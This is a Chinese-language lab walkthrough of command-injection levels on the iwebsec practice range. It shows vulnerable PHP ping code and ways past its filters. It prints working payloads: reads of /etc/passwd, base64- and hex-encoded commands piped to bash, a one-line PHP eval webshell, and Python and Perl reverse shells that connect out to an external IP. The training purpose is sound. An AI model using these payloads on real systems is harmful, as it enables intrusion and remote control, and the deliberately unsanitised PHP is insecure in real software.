1 靶場(chǎng)環(huán)境
這是 iwebsec 靶場(chǎng),具體搭建過(guò)程可以看前面的文章。
2 命令執(zhí)行漏洞介紹
應(yīng)用程序有時(shí)需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函數(shù)執(zhí)行系統(tǒng)命令。當(dāng)黑客能控制這些函數(shù)中的參數(shù)時(shí),就可以將惡意的系統(tǒng)命令拼接到正常的命令中,從而造成命令執(zhí)行攻擊,這就是命令執(zhí)行漏洞?!菊浴秝eb安全攻防》】
Windows系統(tǒng)支持的管道符:
管道符 | 作用 | 舉例 |
---|---|---|
| | 直接執(zhí)行后面的命令。 | ![]() |
|| | 前面執(zhí)行的命令執(zhí)行出錯(cuò)才執(zhí)行后面的語(yǔ)句。 | ![]() |
& | 前面的語(yǔ)句無(wú)論真假都可以執(zhí)行后面的語(yǔ)句。(無(wú)條件執(zhí)行后面的語(yǔ)句,推薦使用。) | ![]() |
&& | 前面語(yǔ)句為真才能執(zhí)行后面的語(yǔ)句。 | ![]() |
Linux系統(tǒng)支持的管道符:
管道符 | 作用 | 舉例 |
---|---|---|
| | 顯示后面語(yǔ)句的執(zhí)行結(jié)果。 | ![]() |
; | 執(zhí)行完前面的語(yǔ)句再執(zhí)行后面的。 | ![]() |
|| | 前面語(yǔ)句執(zhí)行錯(cuò)誤才執(zhí)行后面的語(yǔ)句。 | ![]() |
& | 前面語(yǔ)句無(wú)論真假都會(huì)執(zhí)行后面的語(yǔ)句。(無(wú)條件執(zhí)行后面的語(yǔ)句,推薦使用。) | ![]() |
&& | 前面的語(yǔ)句為真才能執(zhí)行后面的語(yǔ)句。 | ![]() |
3 靶場(chǎng)練習(xí)
01-命令執(zhí)行漏洞
打開(kāi)靶場(chǎng),直接測(cè)試。使用|
。
使用;
。
使用||
。
使用cat
命令獲取文件。
看網(wǎng)頁(yè)源碼,發(fā)現(xiàn)cat
到文件源碼。
獲取/etc/passwd
文件。
命令執(zhí)行漏洞代碼分析
服務(wù)端處理 ping ,程序獲取GET參數(shù)IP,然后拼接到system() 函數(shù)中,利用 system() 函數(shù)執(zhí)行ping的功能,但此處沒(méi)有對(duì)參數(shù)IP做過(guò)濾和檢測(cè),導(dǎo)致可以利用管道符執(zhí)行其他的系統(tǒng)命令。
<?php
require_once('../header.php');
?>
<html>
<head>
<title>命令執(zhí)行漏洞</title>
</head>
<h2>命令執(zhí)行漏洞</h2>
<div class="alert alert-success">
<p>/01.php?ip=127.0.0.1 </p>
</div>
<body>
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];//用戶可以控制
system("ping -c 2 ".$ip);//system系統(tǒng)命令,沒(méi)有限制
}else{
exit();
}
?>
02-命令執(zhí)行漏洞空格繞過(guò)
過(guò)濾了空格,可以去掉空格。
管道符兩邊的空格可以去除。但是有些是不能去除的,比如cat /ect/passwd
,我們可以想辦法繞過(guò)空格:
-
使用
%09
,%09
是tab鍵的url編碼。 -
使用
<
,<
表示的是輸入重定向的意思,就是把<
后面跟的文件取代鍵盤作為新的輸入設(shè)備?!懊?< 文件” ,這是將文件作為命令輸入。 -
使用
{}
,用,
實(shí)現(xiàn)空格可能。 -
使用
${IFS}
-
使用
$IFS$9
源碼分析
<?php
if(isset($_GET['ip'])){
if (preg_match('/ /', $_GET['ip'])) { //匹配空格
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
03-命令執(zhí)行漏洞關(guān)鍵命令繞過(guò)
cat
命令的繞過(guò):
- 使用常規(guī)繞過(guò)
- 非常規(guī)操作
其他的試了,不行。我用自己的Linux系統(tǒng)試試:
- 使用符號(hào)及拼接:
源碼分析
<?php
if(isset($_GET['ip'])){
if (preg_match('/cat/', $_GET['ip'])) { //過(guò)濾了cat
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
04-命令執(zhí)行漏洞通配符繞過(guò)
<?php
if(isset($_GET['ip'])){
if (preg_match('/etc|passwd/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
看源碼只是過(guò)濾了/etc/passwd
文件,讀取其他文件是沒(méi)有問(wèn)題的:
但我就是要讀取/etc/passwd
文件呢?
- 可以使用通配符繞過(guò):
通配符是一種特殊語(yǔ)句,主要有星號(hào)(*)和問(wèn)號(hào)(?),用來(lái)模糊搜索文件。當(dāng)查找文件夾時(shí),可以使用它來(lái)代替一個(gè)或多個(gè)真正字符;當(dāng)不知道真正字符或者懶得輸入完整名字時(shí),常常使用通配符代替一個(gè)或多個(gè)真正的字符。 【百度百科】
- 使用符號(hào)及拼接:
05-命令執(zhí)行漏洞base64編碼繞過(guò)
直接就可以RCE,看一下源碼:
<?php
if(isset($_GET['ip'])){
if (preg_match('/id/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
過(guò)濾了id
這個(gè)關(guān)鍵字,Linux id
命令用于顯示用戶的ID,以及所屬群組的ID。
使用base64編碼繞過(guò):
echo aWQ= | base64 -d
第一個(gè)例子直接輸出為id
,第二個(gè)例子加了反引號(hào)`
則會(huì)執(zhí)行輸出的內(nèi)容,即執(zhí)行命令id
。
除了base64,我們可以使用hex編碼:
ip=127.0.0.1 | echo "6964" | xxd -r -p | bash
ip=127.0.0.1 | `echo "6964" | xxd -r -p`
第一句直接輸出id
,第二句將輸出的內(nèi)容傳進(jìn)bash
執(zhí)行。也可以不用bash
執(zhí)行,直接用反引號(hào)執(zhí)行。
讀取/etc/passwd
文件:
4 命令執(zhí)行漏洞危害
以第一關(guān)的環(huán)境為例,進(jìn)行下面的實(shí)驗(yàn)。
01-讀寫(xiě)系統(tǒng)文件
02-執(zhí)行系統(tǒng)命令
常見(jiàn)linux系統(tǒng)命令大全
使用touch
命令新建一個(gè)文件
pwd
查看當(dāng)前目錄的位置
使用find
命令搜索符合條件的文件
顯示指定目錄下所有目錄和文件,包括隱藏文件
03-種植惡意木馬
寫(xiě)入一句話木馬
?ip=127.0.0.1|echo '<?php @eval($_POST['a']);?>' >2.php
連接一句話木馬
用蟻劍連接
04-反彈shell
RCE/命令執(zhí)行漏洞反彈shell小結(jié)。這里使用第三關(guān)環(huán)境,第一關(guān)被我改壞了。
我用bash
反彈,一直寫(xiě)不進(jìn)去,但是一句話木馬又可以寫(xiě)入,按照源碼只是對(duì)cat
進(jìn)行過(guò)濾而已,應(yīng)該沒(méi)有過(guò)濾其他東西了。試著把反彈shell逐個(gè)拆開(kāi)寫(xiě)進(jìn)去:
那應(yīng)該是不能有&
,所以bash
和php
的反彈shell語(yǔ)句都用不了。而python
的反彈shell語(yǔ)句剛好沒(méi)有:
python反彈shell
注入點(diǎn):127.0.0.1|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.134.148.36",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
監(jiān)聽(tīng)點(diǎn):nc -lvp 7777
perl反彈shell
注入點(diǎn):127.0.0.1|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"8.134.148.36:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
監(jiān)聽(tīng)點(diǎn):nc -lvp 6666
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-819685.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-819685.html
到了這里,關(guān)于命令執(zhí)行漏洞 | iwebsec的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!